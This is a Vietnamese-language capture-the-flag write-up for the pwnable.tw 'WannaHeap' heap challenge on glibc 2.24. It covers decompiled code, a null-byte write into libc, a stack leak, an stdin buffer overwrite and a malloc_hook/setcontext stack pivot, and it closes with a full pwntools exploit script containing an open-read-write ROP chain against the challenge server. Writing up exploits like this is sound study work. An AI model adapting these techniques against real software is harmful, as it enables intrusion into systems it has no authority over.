pwnable.tw

WannaHeap

tl;dr: Bớt map to another variable trong IDA lại :); Tìm gadgets hiệu quả hơn; Setcontext gadget để setup toàn bộ register.

March 1, 2026 Hard

Recon

Mitigation

$ pwn checksec wannaheap
[*] '/home/hungnt/pwnable.tw/wannaheap/wannaheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file wannaheap
wannaheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fac6b472980999249533bb0e42c6b48cb00a0f44, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.24
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.24/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.24.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7ffff7800000
           /home/hungnt/pwnable.tw/wannaheap/libc-4e5dfd832191073e18a09728f68666b6465eeacd.so
    ld is at:               0x7ffff7c00000
           /home/hungnt/pwnable.tw/wannaheap/ld-linux-x86-64.so.2
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Seccomp

$ seccomp-tools dump ./wannaheap_patched
 - Create data heap -
Size :1337
Content :ngtuonghung
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x05 0x00 0x00 0x0000000b  goto 0025
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000014  if (A != writev) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0022
 0021: 0x05 0x00 0x00 0x00000010  goto 0038
 0022: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL
 0025: 0x05 0x00 0x00 0x00000000  goto 0026
 0026: 0x20 0x00 0x00 0x00000020  A = count # read(fd, buf, count)
 0027: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0028: 0x20 0x00 0x00 0x00000024  A = count >> 32 # read(fd, buf, count)
 0029: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0030: 0x25 0x04 0x00 0x00000000  if (A > 0x0) goto 0035
 0031: 0x15 0x00 0x05 0x00000000  if (A != 0x0) goto 0037
 0032: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0033: 0x25 0x00 0x02 0x00001337  if (A <= 0x1337) goto 0036
 0034: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0035: 0x06 0x00 0x00 0x00000000  return KILL
 0036: 0x60 0x00 0x00 0x00000001  A = mem[1]
 0037: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0038: 0x05 0x00 0x00 0x00000000  goto 0039
 0039: 0x20 0x00 0x00 0x00000020  A = prot # mmap(addr, len, prot, flags, fd, pgoff)
 0040: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0041: 0x20 0x00 0x00 0x00000024  A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
 0042: 0x02 0x00 0x00 0x00000001  mem[1] = A
 0043: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0044: 0x54 0x00 0x00 0x00000004  A &= 0x4
 0045: 0x15 0x00 0x01 0x00000000  if (A != 0) goto 0047
 0046: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0047: 0x06 0x00 0x00 0x00000000  return KILL

Vậy là challenge này mình ko đc execve spawn shell, ko đc bật executable để shellcode, ko đc fork, ko đc dup2, vậy nên mục tiêu của mình có thể cần phải ROP để ORW.

Và để ý thêm cái nữa là chỉ đc read <= 0x1337 bytes.

Code

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char choice; // al

  setup(a1, a2, a3);
  init_mmap();
  create_heap_data();
  init_sentinel();
  sub_E40();
  root = sentinel;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_char();
      if ( choice == 'E' )
      {
        puts("Don't give up\n");
        Clear();
        munmap(addr, 0x2000uLL);
        exit(0);
      }
      if ( choice > 'E' )
        break;
      if ( choice == 'A' )
        Allocate();
      else
invalid:
        puts("Invalid choice");
    }
    if ( choice == 'F' )
    {
      puts("Not implement !");
    }
    else
    {
      if ( choice != 'R' )
        goto invalid;
      Read();
    }
  }
}

create_heap_data()

unsigned __int64 create_heap_data()
{
  size_t v0; // r12
  size_t v1; // rsi
  size_t nbytes; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  nbytes = 0LL;
  puts(" - Create data heap - ");
  _printf_chk(1LL, "Size :");
  _isoc99_scanf("%lu", &nbytes);
  v0 = nbytes;
  if ( nbytes <= 0x313370 )
  {
    v1 = nbytes;
  }
  else
  {
    do
    {
      puts("Too big or too small !");
      _printf_chk(1LL, "Size :");
      _isoc99_scanf("%lu", &nbytes);
      v1 = nbytes;
    }
    while ( nbytes > 0x313370 );
  }
  data = (char *)calloc(1uLL, v1 + 1);
  if ( !data )
  {
    puts("Error !");
    exit(2);
  }
  _printf_chk(1LL, "Content :");
  read_input(data, (unsigned int)nbytes);
  data[v0] = 0;
  IO_getc(stdin);
  return __readfsqword(0x28u) ^ v4;
}

Ở hàm này ban đầu mình thích đọc code cho gọn, nên mình đã Map to another variable trong IDA v0 và v1 thành luôn nbytes nên là mãi ko thấy bug gì cả :v.

Vấn đề là nằm ở v0, v0 được gán bằng nbytes ở lần input đầu, nhưng nếu nbytes vượt quá giới hạn, input lại nbytes nhưng ko động gì đến v0 mà lại gán vào v1 và sau đó calloc() size v1 + 1. Sau khi input data xong, null lại đc set ở vị trí data + v0 chứ ko phải v1.

Khi yêu cầu cấp phát vùng với kích thước cực lớn, chẳng hạn 0x30000 bytes, ptmalloc sẽ mmap một vùng riêng nằm giữa binary và libc, liền kề trên với libc.

Vậy nếu lần đầu tiên input nbytes quá giới hạn với giá trị thích hợp, sau đó input 0x313370 bytes để cấp phát, thì mình có thể ghi 1 null byte vào vị trí writable bất kỳ trong libc.

Allocate()

unsigned __int64 Allocate()
{
  unsigned __int64 key; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  key = 0LL;
  _printf_chk(1LL, "key :");
  _isoc99_scanf("%lu", &key);
  root = add_node(root, key);
  return __readfsqword(0x28u) ^ v2;
}

add_node()

Node *__fastcall add_node(Node *current_node, unsigned __int64 key)
{
  Node *new_node; // rbp
  char *dup_data; // rax
  Node *child; // rdx
  char data[24]; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  if ( sentinel != current_node )
  {
    if ( key <= current_node->key )
    {
      new_node = add_node(current_node->left, key);
      current_node->left = new_node;
      if ( new_node->priority > (unsigned int)current_node->priority )
      {
        current_node->left = new_node->right;
        new_node->right = current_node;
        return new_node;
      }
    }
    else
    {
      new_node = add_node(current_node->right, key);
      current_node->right = new_node;
      if ( new_node->priority > (unsigned int)current_node->priority )
      {
        current_node->right = new_node->left;
        new_node->left = current_node;
        return new_node;
      }
    }
    return current_node;
  }
  new_node = (Node *)allocate_node(0x28uLL);
  if ( !new_node )
  {
    puts("Error !");
    exit(23);
  }
  _printf_chk(1LL, "data :");
  read_input(data, 0x18uLL);
  dup_data = _strdup(data);
  child = sentinel;
  new_node->data = dup_data;
  new_node->key = key;
  new_node->right = child;
  new_node->left = child;
  new_node->priority = get_random();
  return new_node;
}

Ở đây data không đc clear và strdup() copy đến khi gặp null byte, nên có thể sử dụng để leak dữ liệu trên stack sau đó với hàm Read().

Read()

unsigned __int64 Read()
{
  Node *current_node; // rax
  unsigned __int64 key; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  key = 0LL;
  _printf_chk(1LL, "key:");
  _isoc99_scanf("%lu", &key);
  for ( current_node = root; ; current_node = current_node->right )
  {
    if ( current_node == sentinel )
    {
not_found:
      _printf_chk(1LL, "Can't Not found : %lu\n", key);
      goto return;
    }
    while ( key < current_node->key )
    {
      current_node = current_node->left;
      if ( current_node == sentinel )
        goto not_found;
    }
    if ( key <= current_node->key )
      break;
  }
  _printf_chk(1LL, "data : %s\n", current_node->data);
return:
  close(1);
  return __readfsqword(0x28u) ^ v3;
}

Read() là đóng fd 1, nên có thể cần chỉnh timing khi gửi data.

Solve

Challenge này mình đã đọc writeup, mình biết là làm như vậy, có các bước như này như kia, nhưng mình ko biết tại sao lại tìm ra đc như vậy. Nên mình sẽ cố gắng lập luận để đưa ra đc exploit cuối cùng.

Nhớ lại seccomp ở trên, mục tiêu cuối cùng của mình là cần thực thi đc ROP chain. Chỉ ghi được 1 byte null vào trong libc, vậy thì ghi vào đâu được? Mà ghi vào để được cái gì? Hay là ghi vào stdin để làm sao đó tiếp tục ghi đc nhiều hơn vào libc khi sử dụng scanf()?

Mình đã làm một số challenge với việc chỉnh sửa stdin để lấy đc AAW bằng cách ghi đè vào buf_base và buf_end:

// _IO_new_file_underflow (fileops.c)
count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);

Flags thì ko cần chỉnh gì, bởi mặc định thì sẽ thoả mãn gọi đến đây. Vậy nếu mình ghi null byte vào LSB của buf_base thì sau đó mình có thể ghi đến 0x44 byte từ buf_end. Ghi đè tiếp vào buf_end với giá trị lớn hơn thì mình lại có thể ghi được nhiều byte hơn:

Ok giờ mình đã có thể overwrite rất nhiều thứ bắt đầu từ stdin buf base trong libc.

Để ROP đc thì mình cần đặt rsp về nơi mình kiểm soát, mình tìm xem có gadget mov rsp nào ko:

Bỏ đi các gadget liên quan đến rbp vì ko có buffer overflow nào để leave mà cũng làm gì ROP đc để pop rbp.

Và mình cũng cần phải tính đến có ret về sau nữa, nhìn qua chỗ này, mình thấy hữu ích nhất là:

   48045:       48 8b a7 a0 00 00 00    mov    rsp,QWORD PTR [rdi+0xa0]
   48375:       48 8b a6 a0 00 00 00    mov    rsp,QWORD PTR [rsi+0xa0]

Là ở hàm setcontext và swapcontext. Mình sẽ thử nhắm vào setcontext.

Vậy đặt ra mục tiêu là phải kiểm soát đc rdi, và rdi nên là địa chỉ trong vùng của libc mà mình ghi đc. Mình tìm xem có gadget nào để đặt rdi và chuyển RIP đến setcontext ko? Mình tìm “mov rdi, X; …; …; call qword ptr [X + offset]”, với X là một register duy nhất, thì mình chỉ cần control 1 register là đc.

ROPgadget --binary ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so --all | grep -P 'mov rdi, (\w+)(?= ;).*call qword ptr \[\1'

Ok ở đây mình thấy có mov rdi, rax ; call qword ptr [RAX] có vẻ như là hợp lý, ở mấy challenge trước mình ghi đè hooks thì hay có instruction call đến rax, nên mình check xem có những hook nào ở đây. Mình ChatGPT thì có memalign_hook, realloc_hook, malloc_hook và morecore.

Binary chỉ dùng đến calloc() nên ghi đè malloc_hook với gadget đầu tiên là hợp lý.

Vì mình muốn rax đc set về nơi nào đó trong vùng ghi đc của libc, nên mình sẽ tìm xem gadget nào trong libc sử dụng đến các hooks này và đặt địa chỉ của symbol vào rax, rồi call [rax]. Mình muốn call [rax] vì nó giữ lại giá trị rax, chứ ko phải deference lần nữa rồi call rax.

Với mấy hook từ malloc hook trở lên mình ko thấy có gadget nào thỏa mãn cả. Nhưng với morecore thì có:

Với glibc bản mới thì các hooks này ko còn, nên cách suy luận này có thể chỉ áp dụng ở đây :/

Ok vậy kế hoạch của mình là, ghi gadget gọi morecore vào malloc hook, ghi gadget mov rdi, rax; call [rax+0x20], ghi setcontext vào rax+0x20, và rsp ở vị trí theo như setcontext để trỏ đến nơi mình ghi ROP, ORW là xong.

Mình lưu lại 2 commands này ở đây cho lần sau tiện dùng:

ropper -f ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so --search "syscall; ret"

ROPgadget --binary ./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so | grep -E ": pop (rdi|rsi|rdx|rax) ; ret$"

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

e = context.binary = ELF('./wannaheap_patched', checksec=False)
libc = ELF('./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

TERMINAL = 3
USE_PTY = True
GDB_ATTACH_DELAY = 1

match TERMINAL:
    case 1:
        context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
    case 2:
        context.terminal = ["tmux", "split-window", "-h"]
    case 3:
        context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
                            "-w", "0", "split-pane", "-V", "-s", "0.5",
                            "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
    case _:
        raise ValueError(f"Unknown terminal: {TERMINAL}")

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *__read_nocancel+5
b *0x155554e87550
continue
'''

def attach(p):
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
        sleep(GDB_ATTACH_DELAY)

def conn():
    if args.LOCAL:
        if USE_PTY:
            p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY)
        else:
            p = process([e.path])
        sleep(0.25)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10305
        return remote(host, port)

def Allocate(key, data):
    sa(p, b'>', b'A')
    sleep(0.25)
    sa(p, b'key', key)
    sleep(0.25)
    sa(p, b'data', data)
    sleep(0.25)

attempt = 0

allocated_size = 0x314000
max_size = 0x313370
buf_base_lsb = allocated_size + libc.symbols['_IO_2_1_stdin_'] + 40

while True:
    sleep(0.5)
    p = conn()

    print("Overwrite _IO_buf_base LSB")
    slan(p, b'Size', buf_base_lsb)
    slan(p, b'Size', max_size)
    sla(p, b'Content', b'A')

    Allocate(b'\x01', b'A')
    Allocate(b'\x02', A(9)) # Stack contains libc address on the second allocate
    Allocate(b'\x03', b'A')
    
    sleep(0.25)
    
    print("Leaking libc")
    sa(p, b'>', b'R')
    sleep(0.25)
    sa(p, b'key', b'\x02')

    r = p.recvuntil(A(8), timeout=0.5)
    if len(r) < 8:
        print("Failed to leak libc")
        p.close()
        continue
    libc.address = leak_bytes(rn(p, 6), 0x3c2641)
    lg("libc base", libc.address)

    sleep(0.25)

    s(p, b'\xff') # To write more bytes

    sleep(0.25)

    s(p, p64(libc.symbols['_IO_2_1_stdin_'] + 0x1337)) # To write even more bytes

    attach(p)

    stdin = flat(
        libc.symbols['_IO_2_1_stdin_'] + 0x100, # _IO_buf_end
        0,
        0,
        0,
        0,
        0,
        0,
        0xffffffffffffffff, # _old_offset
        0,
        libc.symbols['_IO_stdfile_0_lock'], # _lock
        0xffffffffffffffff, # _offset
        0,
        libc.symbols['_IO_wide_data_0'], # _wide_data
        0,
        0,
        0,
        0xffffffff, # _mode
        0,
        0,
        libc.symbols['__GI__IO_file_jumps'], # vtable
    )

    mov_rdi_rax_call_dword_rax = libc.address + 0x000000000006ebbb

    morecore = flat(
        mov_rdi_rax_call_dword_rax, # __morecore

        libc.symbols['print_and_abort'],
        libc.address + 0x18c04e,
        libc.address + 0x18c04e,
    )

    new_rsp = libc.symbols['_IO_wide_data_0'] + 8
    nop_ret = libc.address + 0x000000000017258f

    setcontext = flat(
        libc.symbols['setcontext'] + 46, # idk why 53 doesn't work???? omg

        0,
        0,
        1,
        2,
        0,
        0,
        0xffffffffffffffff,
        libc.symbols['__libc_utmp_unknown_functions'],
        libc.symbols['default_file_name'],
        p64(libc.symbols['_nl_C_LC_CTYPE']) * 6,

        new_rsp, # rsp
        nop_ret, # rcx
    )

    pop_rax_ret = libc.address + 0x000000000003a998
    pop_rdi_ret = libc.address + 0x000000000001fd7a
    pop_rsi_ret = libc.address + 0x000000000001fcbd
    pop_rdx_ret = libc.address + 0x0000000000001b92
    syscall = libc.address + 0x00000000000bc765
    flag_path = new_rsp + 0x100
    flag_addr = flag_path + 0x20

    orw_rop = flat(
        0, # padding

        # open("/home/wannaheap/flag", 0, 0)
        pop_rax_ret, 2,
        pop_rdi_ret, flag_path,
        pop_rsi_ret, 0,
        pop_rdx_ret, 0,
        syscall,

        # read(1, flag_addr, 0x100)
        pop_rax_ret, 0,
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x100,
        syscall,

        # write(fd=0, flag_addr, 0x100)
        pop_rax_ret, 1,
        pop_rdi_ret, 0, # idk why fd 2 doesn't work???
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x100,
        syscall,

        # exit(0)
        pop_rax_ret, 0x3c,
        pop_rdi_ret, 0,
        syscall,

        b'/home/wannaheap/flag\0'
    ).ljust(0x130, b'\0')
    
    final_payload = flat(
        stdin,

        orw_rop,

        libc.symbols['__GI__IO_wfile_jumps'],
        0,
        libc.symbols['memalign_hook_ini'],
        libc.symbols['realloc_hook_ini'],
        libc.symbols['sysmalloc'] + 1521, # __malloc_hook
        z(0x898),

        morecore,

        setcontext
    )

    sleep(0.25)

    try:
        print("Sending final payload", len(final_payload), "bytes")
        s(p, final_payload)

        sleep(0.25)

        s(p, b'A')
        sleep(0.25)
        s(p, b'\x07')

        print(f'Flag: {ru(p, b'}').strip().decode()}')

        p.close()
        break
    except:
        print("ROP failed")
        p.close()
        continue